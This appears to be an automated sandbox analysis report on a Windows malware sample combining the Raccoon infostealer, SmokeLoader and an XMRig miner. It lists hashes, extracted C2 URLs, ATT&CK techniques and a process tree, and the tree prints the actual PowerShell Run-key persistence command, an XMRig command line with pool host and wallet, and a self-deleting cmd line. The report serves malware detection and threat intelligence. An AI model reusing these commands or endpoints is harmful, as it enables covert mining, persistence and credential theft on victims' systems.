raccoon | 909aaea4a3072305c0bcaab9d7b9cab70990305541db276ab8d870e3fbc51a18

Analysis

max time kernel
306s
max time network
310s
platform
windows10_x64
resource
win10v20210410
submitted
23-08-2021 20:55

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General

Target

Xd_XnNqsZTJJf8dCq4s_mlAi.exe
Size

273KB
MD5

ac7f28f999ef6657abc24673642b518a
SHA1

37c701301ba28e8329f7c990a790320d021331a0
SHA256

46d153d7d517ea834af83364c01388f5c4af458c359625244aa7bac158e8bff2
SHA512

d45fe4a99c81d2221ebb4b537a23ac2a64e05defb8c789eb8a716af30685d2ca5963e8caeadcaec74e5ea588311ea59509077f14870193408114b261e7b97370

Score

10^/10

raccoon smokeloader xmrig fd34ae8fb78d0554aa7caf12c271e01efb3342f6 backdoor discovery miner persistence spyware stealer trojan upx

Malware Config

Extracted

Family

smokeloader

Version

2020

http://aucmoney.com/upload/

http://thegymmum.com/upload/

http://atvcampingtrips.com/upload/

http://kuapakualaman.com/upload/

http://renatazarazua.com/upload/

http://nasufmutlu.com/upload/

rc4.i32

Extracted

Family

raccoon

Botnet

fd34ae8fb78d0554aa7caf12c271e01efb3342f6

Attributes

url4cnc
https://telete.in/jinnlitena1

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 1 IoCs

miner

Processes:

resource	yara_rule
behavioral16/memory/3752-162-0x0000000000E0CA90-mapping.dmp	xmrig

Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

DE02.exe1OkBJbXwKt.exe

pid process

2676 DE02.exe
1168 1OkBJbXwKt.exe

pid	process
2676	DE02.exe
1168	1OkBJbXwKt.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral16/memory/3752-161-0x0000000000400000-0x0000000000E14000-memory.dmp	upx
behavioral16/memory/3752-163-0x0000000000400000-0x0000000000E14000-memory.dmp	upx

Deletes itself 1 IoCs

Processes:

pid process

3040
Loads dropped DLL 5 IoCs

Processes:

DE02.exe

pid process

2676 DE02.exe
2676 DE02.exe
2676 DE02.exe
2676 DE02.exe
2676 DE02.exe
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
3040

pid	process
2676	DE02.exe
2676	DE02.exe
2676	DE02.exe
2676	DE02.exe
2676	DE02.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\DriverService = "C:\\Users\\Admin\\AppData\\Roaming\\WinServices\\DriversService.exe"	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Suspicious use of SetThreadContext 1 IoCs

Processes:

1OkBJbXwKt.exe

description pid process target process

PID 1168 set thread context of 3752 1168 1OkBJbXwKt.exe InstallUtil.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	pid	process	target process
PID 1168 set thread context of 3752	1168	1OkBJbXwKt.exe	InstallUtil.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

Xd_XnNqsZTJJf8dCq4s_mlAi.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Xd_XnNqsZTJJf8dCq4s_mlAi.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Xd_XnNqsZTJJf8dCq4s_mlAi.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Xd_XnNqsZTJJf8dCq4s_mlAi.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1848 timeout.exe

pid	process
1848	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Xd_XnNqsZTJJf8dCq4s_mlAi.exe

pid	process
2752	Xd_XnNqsZTJJf8dCq4s_mlAi.exe
2752	Xd_XnNqsZTJJf8dCq4s_mlAi.exe
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040
3040

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3040
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

Xd_XnNqsZTJJf8dCq4s_mlAi.exe

pid process

2752 Xd_XnNqsZTJJf8dCq4s_mlAi.exe

pid	process
3040

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

1OkBJbXwKt.exepowershell.exeInstallUtil.exe

description	pid	process
Token: SeDebugPrivilege	1168	1OkBJbXwKt.exe
Token: SeDebugPrivilege	3216	powershell.exe
Token: SeLockMemoryPrivilege	3752	InstallUtil.exe
Token: SeLockMemoryPrivilege	3752	InstallUtil.exe
Token: SeShutdownPrivilege	3040
Token: SeCreatePagefilePrivilege	3040

Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

3040

pid	process
3040

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

DE02.execmd.exe1OkBJbXwKt.exe

description	pid	process	target process
PID 3040 wrote to memory of 2676	3040		DE02.exe
PID 3040 wrote to memory of 2676	3040		DE02.exe
PID 3040 wrote to memory of 2676	3040		DE02.exe
PID 2676 wrote to memory of 1168	2676	DE02.exe	1OkBJbXwKt.exe
PID 2676 wrote to memory of 1168	2676	DE02.exe	1OkBJbXwKt.exe
PID 2676 wrote to memory of 3728	2676	DE02.exe	cmd.exe
PID 2676 wrote to memory of 3728	2676	DE02.exe	cmd.exe
PID 2676 wrote to memory of 3728	2676	DE02.exe	cmd.exe
PID 3728 wrote to memory of 1848	3728	cmd.exe	timeout.exe
PID 3728 wrote to memory of 1848	3728	cmd.exe	timeout.exe
PID 3728 wrote to memory of 1848	3728	cmd.exe	timeout.exe
PID 1168 wrote to memory of 3216	1168	1OkBJbXwKt.exe	powershell.exe
PID 1168 wrote to memory of 3216	1168	1OkBJbXwKt.exe	powershell.exe
PID 1168 wrote to memory of 3752	1168	1OkBJbXwKt.exe	InstallUtil.exe
PID 1168 wrote to memory of 3752	1168	1OkBJbXwKt.exe	InstallUtil.exe
PID 1168 wrote to memory of 3752	1168	1OkBJbXwKt.exe	InstallUtil.exe
PID 1168 wrote to memory of 3752	1168	1OkBJbXwKt.exe	InstallUtil.exe
PID 1168 wrote to memory of 3752	1168	1OkBJbXwKt.exe	InstallUtil.exe
PID 1168 wrote to memory of 3752	1168	1OkBJbXwKt.exe	InstallUtil.exe
PID 1168 wrote to memory of 3752	1168	1OkBJbXwKt.exe	InstallUtil.exe

C:\Users\Admin\AppData\Local\Temp\Xd_XnNqsZTJJf8dCq4s_mlAi.exe
"C:\Users\Admin\AppData\Local\Temp\Xd_XnNqsZTJJf8dCq4s_mlAi.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2752

C:\Users\Admin\AppData\Local\Temp\DE02.exe
C:\Users\Admin\AppData\Local\Temp\DE02.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2676
- C:\Users\Admin\AppData\Local\Temp\1OkBJbXwKt.exe
  "C:\Users\Admin\AppData\Local\Temp\1OkBJbXwKt.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Remove-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'DriverService';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'DriverService' -Value '"C:\Users\Admin\AppData\Roaming\WinServices\DriversService.exe"' -PropertyType 'String'
    3⤵
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    PID:3216
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3752
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\DE02.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3728
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:1848

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:744

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\1OkBJbXwKt.exe

MD5
f4c64387af7b3c31cf1447c4f4ae003b

SHA1
80c71eea8a34f0cc06f648551b9ed4ac63302107

SHA256
26a02495b38b2a19ae23687148232563ed9dceaf5c0a6eed4b55a19d8f8b4818

SHA512
60a2bcf98f71c958d3d5a99875e4da3d6fec438f7546be5f72599f0064ee6fe01660549ae433e1a0cfab705c8d4c3fb27edc24feae84b20bc848b00feae46bc1

Download Submit
C:\Users\Admin\AppData\Local\Temp\1OkBJbXwKt.exe

MD5
f4c64387af7b3c31cf1447c4f4ae003b

SHA1
80c71eea8a34f0cc06f648551b9ed4ac63302107

SHA256
26a02495b38b2a19ae23687148232563ed9dceaf5c0a6eed4b55a19d8f8b4818

SHA512
60a2bcf98f71c958d3d5a99875e4da3d6fec438f7546be5f72599f0064ee6fe01660549ae433e1a0cfab705c8d4c3fb27edc24feae84b20bc848b00feae46bc1

Download Submit
C:\Users\Admin\AppData\Local\Temp\DE02.exe

MD5
d110032f570a2c3945fb844948fc1184

SHA1
0e15ba5e6db53b261ae380dc8f5937b5ff066ebd

SHA256
71875b2f1fdbd32fcd8c8db55e437e150d7bfaba30c435d71cdcfdb31331080b

SHA512
3290b5364b69e7068e46ebac45f6b73c7522ec8cc0849212a672f7e180cdc2087000af8d704d020316f25de33b8159edb7c5229264ec13ec0d5e36b17720f856

Download Submit
C:\Users\Admin\AppData\Local\Temp\DE02.exe

MD5
d110032f570a2c3945fb844948fc1184

SHA1
0e15ba5e6db53b261ae380dc8f5937b5ff066ebd

SHA256
71875b2f1fdbd32fcd8c8db55e437e150d7bfaba30c435d71cdcfdb31331080b

SHA512
3290b5364b69e7068e46ebac45f6b73c7522ec8cc0849212a672f7e180cdc2087000af8d704d020316f25de33b8159edb7c5229264ec13ec0d5e36b17720f856

Download Submit
\Users\Admin\AppData\LocalLow\aD1rF3aM8r\freebl3.dll

MD5
60acd24430204ad2dc7f148b8cfe9bdc

SHA1
989f377b9117d7cb21cbe92a4117f88f9c7693d9

SHA256
9876c53134dbbec4dcca67581f53638eba3fea3a15491aa3cf2526b71032da97

SHA512
626c36e9567f57fa8ec9c36d96cbadede9c6f6734a7305ecfb9f798952bbacdfa33a1b6c4999ba5b78897dc2ec6f91870f7ec25b2ceacbaee4be942fe881db01

Download Submit
\Users\Admin\AppData\LocalLow\aD1rF3aM8r\mozglue.dll

MD5
eae9273f8cdcf9321c6c37c244773139

SHA1
8378e2a2f3635574c106eea8419b5eb00b8489b0

SHA256
a0c6630d4012ae0311ff40f4f06911bcf1a23f7a4762ce219b8dffa012d188cc

SHA512
06e43e484a89cea9ba9b9519828d38e7c64b040f44cdaeb321cbda574e7551b11fea139ce3538f387a0a39a3d8c4cba7f4cf03e4a3c98db85f8121c2212a9097

Download Submit
\Users\Admin\AppData\LocalLow\aD1rF3aM8r\nss3.dll

MD5
02cc7b8ee30056d5912de54f1bdfc219

SHA1
a6923da95705fb81e368ae48f93d28522ef552fb

SHA256
1989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5

SHA512
0d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5

Download Submit
\Users\Admin\AppData\LocalLow\aD1rF3aM8r\softokn3.dll

MD5
4e8df049f3459fa94ab6ad387f3561ac

SHA1
06ed392bc29ad9d5fc05ee254c2625fd65925114

SHA256
25a4dae37120426ab060ebb39b7030b3e7c1093cc34b0877f223b6843b651871

SHA512
3dd4a86f83465989b2b30c240a7307edd1b92d5c1d5c57d47eff287dc9daa7bace157017908d82e00be90f08ff5badb68019ffc9d881440229dcea5038f61cd6

Download Submit
\Users\Admin\AppData\LocalLow\sqlite3.dll

MD5
f964811b68f9f1487c2b41e1aef576ce

SHA1
b423959793f14b1416bc3b7051bed58a1034025f

SHA256
83bc57dcf282264f2b00c21ce0339eac20fcb7401f7c5472c0cd0c014844e5f7

SHA512
565b1a7291c6fcb63205907fcd9e72fc2e11ca945afc4468c378edba882e2f314c2ac21a7263880ff7d4b84c2a1678024c1ac9971ac1c1de2bfa4248ec0f98c4

Download Submit
memory/1168-134-0x000001E8AC180000-0x000001E8AC182000-memory.dmp

Filesize
8KB

Download
memory/1168-135-0x000001E891D80000-0x000001E891D81000-memory.dmp

Filesize
4KB

Download
memory/1168-131-0x000001E891490000-0x000001E891491000-memory.dmp

Filesize
4KB

Download
memory/1168-143-0x000001E8AC190000-0x000001E8AC845000-memory.dmp

Filesize
6.7MB

Download
memory/1168-127-0x0000000000000000-mapping.dmp

Download
memory/1168-146-0x000001E891DC0000-0x000001E891DCA000-memory.dmp

Filesize
40KB

Download
memory/1848-133-0x0000000000000000-mapping.dmp

Download
memory/2676-120-0x00000000040A0000-0x000000000412F000-memory.dmp

Filesize
572KB

Download
memory/2676-121-0x0000000000400000-0x00000000023EE000-memory.dmp

Filesize
31.9MB

Download
memory/2676-117-0x0000000000000000-mapping.dmp

Download
memory/2752-115-0x0000000000400000-0x00000000023AE000-memory.dmp

Filesize
31.7MB

Download
memory/2752-114-0x0000000002400000-0x0000000002409000-memory.dmp

Filesize
36KB

Download
memory/3040-116-0x0000000001200000-0x0000000001216000-memory.dmp

Filesize
88KB

Download
memory/3216-144-0x000001FDBCA70000-0x000001FDBCA72000-memory.dmp

Filesize
8KB

Download
memory/3216-159-0x000001FDBCA78000-0x000001FDBCA79000-memory.dmp

Filesize
4KB

Download
memory/3216-136-0x0000000000000000-mapping.dmp

Download
memory/3216-145-0x000001FDBCA73000-0x000001FDBCA75000-memory.dmp

Filesize
8KB

Download
memory/3216-142-0x000001FDBCB00000-0x000001FDBCB01000-memory.dmp

Filesize
4KB

Download
memory/3216-151-0x000001FDD7130000-0x000001FDD7131000-memory.dmp

Filesize
4KB

Download
memory/3216-158-0x000001FDBCA76000-0x000001FDBCA78000-memory.dmp

Filesize
8KB

Download
memory/3728-130-0x0000000000000000-mapping.dmp

Download
memory/3752-161-0x0000000000400000-0x0000000000E14000-memory.dmp

Filesize
10.1MB

Download
memory/3752-162-0x0000000000E0CA90-mapping.dmp

Download
memory/3752-163-0x0000000000400000-0x0000000000E14000-memory.dmp

Filesize
10.1MB

Download
memory/3752-164-0x00000234FE730000-0x00000234FE750000-memory.dmp

Filesize
128KB

Download
memory/3752-165-0x00000234FE780000-0x00000234FE7A0000-memory.dmp

Filesize
128KB

Download
memory/3752-166-0x00000234FE9B0000-0x00000234FE9D0000-memory.dmp

Filesize
128KB

Download